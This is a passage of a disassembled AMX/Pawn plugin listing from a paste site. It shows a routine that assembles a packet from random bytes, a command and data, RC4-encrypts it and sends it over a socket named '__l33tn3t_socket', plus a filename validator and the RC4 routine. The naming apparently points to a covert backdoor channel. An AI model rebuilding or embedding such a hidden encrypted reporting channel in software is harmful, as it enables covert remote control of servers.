  1193. 0x1E7C                    STACK  0xFFFFEFE8  ; allocate 1030 cells
  1194. 0x1E84                 ZERO.pri
  1195. 0x1E88                 ADDR.alt  0xFFFFEFE8
  1196. 0x1E90                     FILL  0x1018      ; 1030 cells
  1197. 0x1E98                    BREAK
  1198.                                              ; new i
  1199. 0x1E9C                   PUSH.C  0x0        
  1200. 0x1EA4                     JUMP  0x1EB8    
  1201. 0x1EAC                    BREAK
  1202. 0x1EB0                    INC.S  0xFFFFEFE4  ; i
  1203. 0x1EB8               LOAD.S.pri  0xFFFFEFE4  ; i
  1204. 0x1EC0                CONST.alt  0x4        
  1205. 0x1EC8                   JSGRTR  0x1F2C    
  1206. 0x1ED0                    BREAK
  1207. 0x1ED4                 ADDR.alt  0xFFFFEFE8
  1208. 0x1EDC               LOAD.S.pri  0xFFFFEFE4  ; i
  1209. 0x1EE4                   BOUNDS  0x405      
  1210. 0x1EEC                  IDXADDR
  1211. 0x1EF0                 PUSH.pri
  1212. 0x1EF4                   PUSH.C  0xFF      
  1213. 0x1EFC                   PUSH.C  0x0        
  1214. 0x1F04                   PUSH.C  0x8        
  1215. 0x1F0C                 SYSREQ.C  0x13        ; random_num
  1216. 0x1F14                    STACK  0xC         ; free 3 cells
  1217. 0x1F1C                  POP.alt
  1218. 0x1F20                   STOR.I
  1219. 0x1F24                     JUMP  0x1EAC    
  1220. 0x1F2C                    STACK  0x4         ; free 1 cells
  1221. 0x1F34                    BREAK
  1222. 0x1F38                 ADDR.pri  0xFFFFEFE8  ; packet[1030]
  1223. 0x1F40                    ADD.C  0x14        ; signed:  20
  1224. 0x1F48                 MOVE.alt
  1225. 0x1F4C                CONST.pri  0x23      
  1226. 0x1F54                   STOR.I
  1227. 0x1F58                    BREAK
  1228. 0x1F5C                   PUSH.S  0xC         ; command[]
  1229. 0x1F64                   PUSH.C  0x17      
  1230. 0x1F6C                 ADDR.pri  0xFFFFEFE8  ; packet[1030]
  1231. 0x1F74                    ADD.C  0x18        ; signed:  24
  1232. 0x1F7C                 PUSH.pri
  1233. 0x1F80                   PUSH.C  0xC        
  1234. 0x1F88                 SYSREQ.C  0x19        ; copy
  1235. 0x1F90                    STACK  0x10        ; free 4 cells
  1236. 0x1F98                    BREAK
  1237. 0x1F9C                   PUSH.S  0x10        ; data[]
  1238. 0x1FA4               LOAD.S.pri  0x14        ; data_len
  1239. 0x1FAC                CONST.alt  0xFFFFFFFF
  1240. 0x1FB4                      JEQ  0x1FCC    
  1241. 0x1FBC               LOAD.S.pri  0x14        ; data_len
  1242. 0x1FC4                     JUMP  0x2010    
  1243. 0x1FCC                   PUSH.S  0x10        ; data[]
  1244. 0x1FD4                   PUSH.C  0x4        
  1245. 0x1FDC                 SYSREQ.C  0x1         ; strlen
  1246. 0x1FE4                    STACK  0x8         ; free 2 cells
  1247. 0x1FEC                 PUSH.pri
  1248. 0x1FF0                   PUSH.C  0x3E8      
  1249. 0x1FF8                   PUSH.C  0x8        
  1250. 0x2000                 SYSREQ.C  0x28        ; min
  1251. 0x2008                    STACK  0xC         ; free 3 cells
  1252. 0x2010                 PUSH.pri
  1253. 0x2014                 ADDR.pri  0xFFFFEFE8  ; packet[1030]
  1254. 0x201C                    ADD.C  0x78        ; signed:  120
  1255. 0x2024                 PUSH.pri
  1256. 0x2028                   PUSH.C  0xC        
  1257. 0x2030                     CALL  0x1BA0      ; stock __l33tn3t_memcpy(dst[],tocopy,src[])
  1258. 0x2038                    BREAK
  1259. 0x203C                   PUSH.C  0x406      
  1260. 0x2044                 PUSH.ADR  0xFFFFEFE8  ; packet[1030]
  1261. 0x204C                   PUSH.C  0x150      
  1262. 0x2054                   PUSH.C  0x4        
  1263. 0x205C                 SYSREQ.C  0x1         ; strlen
  1264. 0x2064                    STACK  0x8         ; free 2 cells
  1265. 0x206C                 PUSH.pri
  1266. 0x2070                   PUSH.C  0x150      
  1267. 0x2078                   PUSH.C  0x10      
  1268. 0x2080                     CALL  0x23C4      ; stock Encryption_RC4(Key[],KeyLen,Buffer[],BufferLen)
  1269. 0x2088                    BREAK
  1270. 0x208C                   PUSH.C  0x406      
  1271. 0x2094                 PUSH.ADR  0xFFFFEFE8  ; packet[1030]
  1272. 0x209C                     PUSH  0x244       ; __l33tn3t_socket
  1273. 0x20A4                   PUSH.C  0xC        
  1274. 0x20AC                 SYSREQ.C  0x29        ; socket_send2
  1275. 0x20B4                    STACK  0x10        ; free 4 cells
  1276. 0x20BC                    STACK  0x1018      ; free 1030 cells
  1277. 0x20C4                     RETN
  1278. 0x20C8                     PROC              ; stock bool:Validator_FileName(FileName[])
  1279. 0x20CC                    BREAK
  1280. 0x20D0                    BREAK
  1281.                                              ; new Len
  1282. 0x20D4                    STACK  0xFFFFFFFC  ; allocate 1 cells
  1283. 0x20DC                   PUSH.S  0xC         ; FileName[]
  1284. 0x20E4                   PUSH.C  0x4        
  1285. 0x20EC                 SYSREQ.C  0x1         ; strlen
  1286. 0x20F4                    STACK  0x8         ; free 2 cells
  1287. 0x20FC               STOR.S.pri  0xFFFFFFFC  ; Len
  1288. 0x2104                    BREAK
  1289.                                              ; new I
  1290. 0x2108                   PUSH.C  0x0        
  1291. 0x2110                     JUMP  0x2124    
  1292. 0x2118                    BREAK
  1293. 0x211C                    INC.S  0xFFFFFFF8  ; I
  1294. 0x2124               LOAD.S.pri  0xFFFFFFF8  ; I
  1295. 0x212C               LOAD.S.alt  0xFFFFFFFC  ; Len
  1296. 0x2134                    JSGEQ  0x23A4    
  1297. 0x213C                    BREAK
  1298. 0x2140               LOAD.S.pri  0xFFFFFFF8  ; I
  1299. 0x2148               LOAD.S.alt  0xC         ; FileName[]
  1300. 0x2150                  IDXADDR
  1301. 0x2154                   LOAD.I
  1302. 0x2158                 EQ.C.pri  0x2E      
  1303. 0x2160                     JZER  0x2174    
  1304. 0x2168                    BREAK
  1305. 0x216C                     JUMP  0x2118    
  1306. 0x2174                    BREAK
  1307. 0x2178               LOAD.S.pri  0xFFFFFFF8  ; I
  1308. 0x2180               LOAD.S.alt  0xC         ; FileName[]
  1309. 0x2188                  IDXADDR
  1310. 0x218C                   LOAD.I
  1311. 0x2190                 EQ.C.pri  0x5F      
  1312. 0x2198                     JZER  0x21AC    
  1313. 0x21A0                    BREAK
  1314. 0x21A4                     JUMP  0x2118    
  1315. 0x21AC                    BREAK
  1316. 0x21B0               LOAD.S.pri  0xFFFFFFF8  ; I
  1317. 0x21B8               LOAD.S.alt  0xC         ; FileName[]
  1318. 0x21C0                  IDXADDR
  1319. 0x21C4                   LOAD.I
  1320. 0x21C8                 EQ.C.pri  0x2F      
  1321. 0x21D0                     JZER  0x21E4    
  1322. 0x21D8                    BREAK
  1323. 0x21DC                     JUMP  0x2118    
  1324. 0x21E4                    BREAK
  1325. 0x21E8               LOAD.S.pri  0xFFFFFFF8  ; I
  1326. 0x21F0               LOAD.S.alt  0xC         ; FileName[]
  1327. 0x21F8                  IDXADDR
  1328. 0x21FC                   LOAD.I
  1329. 0x2200                 MOVE.alt
  1330. 0x2204                CONST.pri  0x61      
  1331. 0x220C                     XCHG
  1332. 0x2210                   JSLESS  0x2258    
  1333. 0x2218               LOAD.S.pri  0xFFFFFFF8  ; I
  1334. 0x2220               LOAD.S.alt  0xC         ; FileName[]
  1335. 0x2228                  IDXADDR
  1336. 0x222C                   LOAD.I
  1337. 0x2230                 MOVE.alt
  1338. 0x2234                CONST.pri  0x7A      
  1339. 0x223C                     XCHG
  1340. 0x2240                   JSGRTR  0x2258    
  1341. 0x2248                CONST.pri  0x1        
  1342. 0x2250                     JUMP  0x225C    
  1343. 0x2258                 ZERO.pri
  1344. 0x225C                     JZER  0x2270    
  1345. 0x2264                    BREAK
  1346. 0x2268                     JUMP  0x2118    
  1347. 0x2270                    BREAK
  1348. 0x2274               LOAD.S.pri  0xFFFFFFF8  ; I
  1349. 0x227C               LOAD.S.alt  0xC         ; FileName[]
  1350. 0x2284                  IDXADDR
  1351. 0x2288                   LOAD.I
  1352. 0x228C                 MOVE.alt
  1353. 0x2290                CONST.pri  0x41      
  1354. 0x2298                     XCHG
  1355. 0x229C                   JSLESS  0x22E4    
  1356. 0x22A4               LOAD.S.pri  0xFFFFFFF8  ; I
  1357. 0x22AC               LOAD.S.alt  0xC         ; FileName[]
  1358. 0x22B4                  IDXADDR
  1359. 0x22B8                   LOAD.I
  1360. 0x22BC                 MOVE.alt
  1361. 0x22C0                CONST.pri  0x5A      
  1362. 0x22C8                     XCHG
  1363. 0x22CC                   JSGRTR  0x22E4    
  1364. 0x22D4                CONST.pri  0x1        
  1365. 0x22DC                     JUMP  0x22E8    
  1366. 0x22E4                 ZERO.pri
  1367. 0x22E8                     JZER  0x22FC    
  1368. 0x22F0                    BREAK
  1369. 0x22F4                     JUMP  0x2118    
  1370. 0x22FC                    BREAK
  1371. 0x2300               LOAD.S.pri  0xFFFFFFF8  ; I
  1372. 0x2308               LOAD.S.alt  0xC         ; FileName[]
  1373. 0x2310                  IDXADDR
  1374. 0x2314                   LOAD.I
  1375. 0x2318                 MOVE.alt
  1376. 0x231C                CONST.pri  0x30      
  1377. 0x2324                     XCHG
  1378. 0x2328                   JSLESS  0x2370    
  1379. 0x2330               LOAD.S.pri  0xFFFFFFF8  ; I
  1380. 0x2338               LOAD.S.alt  0xC         ; FileName[]
  1381. 0x2340                  IDXADDR
  1382. 0x2344                   LOAD.I
  1383. 0x2348                 MOVE.alt
  1384. 0x234C                CONST.pri  0x39      
  1385. 0x2354                     XCHG
  1386. 0x2358                   JSGRTR  0x2370    
  1387. 0x2360                CONST.pri  0x1        
  1388. 0x2368                     JUMP  0x2374    
  1389. 0x2370                 ZERO.pri
  1390. 0x2374                     JZER  0x2388    
  1391. 0x237C                    BREAK
  1392. 0x2380                     JUMP  0x2118    
  1393. 0x2388                    BREAK
  1394. 0x238C                 ZERO.pri
  1395. 0x2390                    STACK  0x8         ; free 2 cells
  1396. 0x2398                     RETN
  1397. 0x239C                     JUMP  0x2118    
  1398. 0x23A4                    STACK  0x4         ; free 1 cells
  1399. 0x23AC                    BREAK
  1400. 0x23B0                CONST.pri  0x1        
  1401. 0x23B8                    STACK  0x4         ; free 1 cells
  1402. 0x23C0                     RETN
  1403. 0x23C4                     PROC              ; stock Encryption_RC4(Key[],KeyLen,Buffer[],BufferLen)
  1404. 0x23C8                    BREAK
  1405. 0x23CC                    BREAK
  1406.                                              ; new S[256]
  1407. 0x23D0                    STACK  0xFFFFFC00  ; allocate 256 cells
  1408. 0x23D8                 ZERO.pri
  1409. 0x23DC                 ADDR.alt  0xFFFFFC00
  1410. 0x23E4                     FILL  0x400       ; 256 cells
  1411. 0x23EC                    BREAK
  1412.                                              ; new b
  1413. 0x23F0                   PUSH.C  0x0        
  1414.                                              ; new i
  1415. 0x23F8                   PUSH.C  0x0        
  1416.                                              ; new j
  1417. 0x2400                   PUSH.C  0x0        
  1418.                                              ; new x
  1419. 0x2408                   PUSH.C  0x0        
  1420.                                              ; new y
  1421. 0x2410                   PUSH.C  0x0        
  1422. 0x2418                    BREAK
  1423. 0x241C                   ZERO.S  0xFFFFFBF8  ; i
  1424. 0x2424                     JUMP  0x2438    
  1425. 0x242C                    BREAK
  1426. 0x2430                    INC.S  0xFFFFFBF8  ; i
  1427. 0x2438               LOAD.S.pri  0xFFFFFBF8  ; i
  1428. 0x2440                CONST.alt  0x100      
  1429. 0x2448                    JSGEQ  0x2488    
  1430. 0x2450                    BREAK
  1431. 0x2454                 ADDR.alt  0xFFFFFC00
  1432. 0x245C               LOAD.S.pri  0xFFFFFBF8  ; i
  1433. 0x2464                   BOUNDS  0xFF      
  1434. 0x246C                  IDXADDR
  1435. 0x2470                 MOVE.alt
  1436. 0x2474               LOAD.S.pri  0xFFFFFBF8  ; i
  1437. 0x247C                   STOR.I
  1438. 0x2480                     JUMP  0x242C    
  1439. 0x2488                    BREAK
  1440. 0x248C                   ZERO.S  0xFFFFFBF8  ; i
  1441. 0x2494                     JUMP  0x24A8    
  1442. 0x249C                    BREAK
  1443. 0x24A0                    INC.S  0xFFFFFBF8  ; i
  1444. 0x24A8               LOAD.S.pri  0xFFFFFBF8  ; i
  1445. 0x24B0                CONST.alt  0x100      
  1446. 0x24B8                    JSGEQ  0x25F4    
  1447. 0x24C0                    BREAK
  1448. 0x24C4               LOAD.S.pri  0xFFFFFBF4  ; j
  1449. 0x24CC                 PUSH.pri
  1450. 0x24D0                 ADDR.alt  0xFFFFFC00
  1451. 0x24D8               LOAD.S.pri  0xFFFFFBF8  ; i
  1452. 0x24E0                   BOUNDS  0xFF      
  1453. 0x24E8                     LIDX
  1454. 0x24EC                  POP.alt
  1455. 0x24F0                      ADD
  1456. 0x24F4                 PUSH.pri
  1457. 0x24F8               LOAD.S.pri  0xC         ; Key[]
  1458. 0x2500                 PUSH.pri
  1459. 0x2504               LOAD.S.pri  0x10        ; KeyLen
  1460. 0x250C               LOAD.S.alt  0xFFFFFBF8  ; i
  1461. 0x2514                 SDIV.alt
  1462. 0x2518                 MOVE.pri
  1463. 0x251C                  POP.alt
  1464. 0x2520                  IDXADDR
  1465. 0x2524                   LOAD.I
  1466. 0x2528                  POP.alt
  1467. 0x252C                      ADD
  1468. 0x2530                 MOVE.alt
  1469. 0x2534                CONST.pri  0x100      
  1470. 0x253C                 SDIV.alt
  1471. 0x2540                 MOVE.pri
  1472. 0x2544               STOR.S.pri  0xFFFFFBF4  ; j
  1473. 0x254C                    BREAK
  1474. 0x2550                 ADDR.alt  0xFFFFFC00
  1475. 0x2558               LOAD.S.pri  0xFFFFFBF8  ; i
  1476. 0x2560                   BOUNDS  0xFF      
  1477. 0x2568                     LIDX
  1478. 0x256C               STOR.S.pri  0xFFFFFBFC  ; b
  1479. 0x2574                    BREAK
  1480. 0x2578                 ADDR.alt  0xFFFFFC00
  1481. 0x2580               LOAD.S.pri  0xFFFFFBF8  ; i
  1482. 0x2588                   BOUNDS  0xFF      
  1483. 0x2590                  IDXADDR
  1484. 0x2594                 PUSH.pri
  1485. 0x2598                 ADDR.alt  0xFFFFFC00
  1486. 0x25A0               LOAD.S.pri  0xFFFFFBF4  ; j
  1487. 0x25A8                   BOUNDS  0xFF      
  1488. 0x25B0                     LIDX
  1489. 0x25B4                  POP.alt
  1490. 0x25B8                   STOR.I
  1491. 0x25BC                    BREAK
  1492. 0x25C0                 ADDR.alt  0xFFFFFC00
  1493. 0x25C8               LOAD.S.pri  0xFFFFFBF4  ; j
  1494. 0x25D0                   BOUNDS  0xFF      
  1495. 0x25D8                  IDXADDR
  1496. 0x25DC                 MOVE.alt
  1497. 0x25E0               LOAD.S.pri  0xFFFFFBFC  ; b
  1498. 0x25E8                   STOR.I
  1499. 0x25EC                     JUMP  0x249C    
  1500. 0x25F4                    BREAK
  1501. 0x25F8                   ZERO.S  0xFFFFFBF8  ; i
  1502. 0x2600                     JUMP  0x2614    
  1503. 0x2608                    BREAK
  1504. 0x260C                    INC.S  0xFFFFFBF8  ; i
  1505. 0x2614               LOAD.S.pri  0xFFFFFBF8  ; i
  1506. 0x261C               LOAD.S.alt  0x18        ; BufferLen
  1507. 0x2624                    JSGEQ  0x2804    
  1508. 0x262C                    BREAK
  1509. 0x2630               LOAD.S.pri  0xFFFFFBF0  ; x
  1510. 0x2638                    ADD.C  0x1         ; signed:  1
  1511. 0x2640                 MOVE.alt
  1512. 0x2644                CONST.pri  0x100      
  1513. 0x264C                 SDIV.alt
  1514. 0x2650                 MOVE.pri
  1515. 0x2654               STOR.S.pri  0xFFFFFBF0  ; x
  1516. 0x265C                    BREAK
  1517. 0x2660                 ADDR.alt  0xFFFFFC00
  1518. 0x2668               LOAD.S.pri  0xFFFFFBF0  ; x
  1519. 0x2670                   BOUNDS  0xFF      
  1520. 0x2678                     LIDX
  1521. 0x267C                 MOVE.alt
  1522. 0x2680               LOAD.S.pri  0xFFFFFBEC  ; y
  1523. 0x2688                      ADD
  1524. 0x268C                 MOVE.alt
  1525. 0x2690                CONST.pri  0x100      
  1526. 0x2698                 SDIV.alt
  1527. 0x269C                 MOVE.pri
  1528. 0x26A0               STOR.S.pri  0xFFFFFBEC  ; y
  1529. 0x26A8                    BREAK
  1530. 0x26AC                 ADDR.alt  0xFFFFFC00
  1531. 0x26B4               LOAD.S.pri  0xFFFFFBF0  ; x
  1532. 0x26BC                   BOUNDS  0xFF      
  1533. 0x26C4                     LIDX
  1534. 0x26C8               STOR.S.pri  0xFFFFFBFC  ; b
  1535. 0x26D0                    BREAK
  1536. 0x26D4                 ADDR.alt  0xFFFFFC00
  1537. 0x26DC               LOAD.S.pri  0xFFFFFBF0  ; x
  1538. 0x26E4                   BOUNDS  0xFF      
  1539. 0x26EC                  IDXADDR
  1540. 0x26F0                 PUSH.pri
  1541. 0x26F4                 ADDR.alt  0xFFFFFC00
  1542. 0x26FC               LOAD.S.pri  0xFFFFFBEC  ; y
  1543. 0x2704                   BOUNDS  0xFF      
  1544. 0x270C                     LIDX
  1545. 0x2710                  POP.alt
  1546. 0x2714                   STOR.I
  1547. 0x2718                    BREAK
  1548. 0x271C                 ADDR.alt  0xFFFFFC00
  1549. 0x2724               LOAD.S.pri  0xFFFFFBEC  ; y
  1550. 0x272C                   BOUNDS  0xFF      
  1551. 0x2734                  IDXADDR
  1552. 0x2738                 MOVE.alt
  1553. 0x273C               LOAD.S.pri  0xFFFFFBFC  ; b
  1554. 0x2744                   STOR.I
  1555. 0x2748                    BREAK
  1556. 0x274C                 ADDR.alt  0xFFFFFC00
  1557. 0x2754               LOAD.S.pri  0xFFFFFBF0  ; x
  1558. 0x275C                   BOUNDS  0xFF      
  1559. 0x2764                     LIDX
  1560. 0x2768                 PUSH.pri
  1561. 0x276C                 ADDR.alt  0xFFFFFC00
  1562. 0x2774               LOAD.S.pri  0xFFFFFBEC  ; y
  1563. 0x277C                   BOUNDS  0xFF      
  1564. 0x2784                     LIDX
  1565. 0x2788                  POP.alt
  1566. 0x278C                      ADD
  1567. 0x2790                 MOVE.alt
  1568. 0x2794                CONST.pri  0x100      
  1569. 0x279C                 SDIV.alt
  1570. 0x27A0                 MOVE.pri
  1571. 0x27A4               STOR.S.pri  0xFFFFFBF4  ; j
  1572. 0x27AC                    BREAK
  1573. 0x27B0               LOAD.S.pri  0xFFFFFBF8  ; i
  1574. 0x27B8               LOAD.S.alt  0x14        ; Buffer[]
  1575. 0x27C0                  IDXADDR
  1576. 0x27C4                 PUSH.pri
  1577. 0x27C8                   LOAD.I
  1578. 0x27CC                 PUSH.pri
  1579. 0x27D0                 ADDR.alt  0xFFFFFC00
  1580. 0x27D8               LOAD.S.pri  0xFFFFFBF4  ; j
  1581. 0x27E0                   BOUNDS  0xFF      
  1582. 0x27E8                     LIDX
  1583. 0x27EC                  POP.alt
  1584. 0x27F0                      XOR
  1585. 0x27F4                  POP.alt
  1586. 0x27F8                   STOR.I
  1587. 0x27FC                     JUMP  0x2608    
  1588. 0x2804                    STACK  0x414       ; free 261 cells
  1589. 0x280C                 ZERO.pri
  1590. 0x2810                     RETN
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Top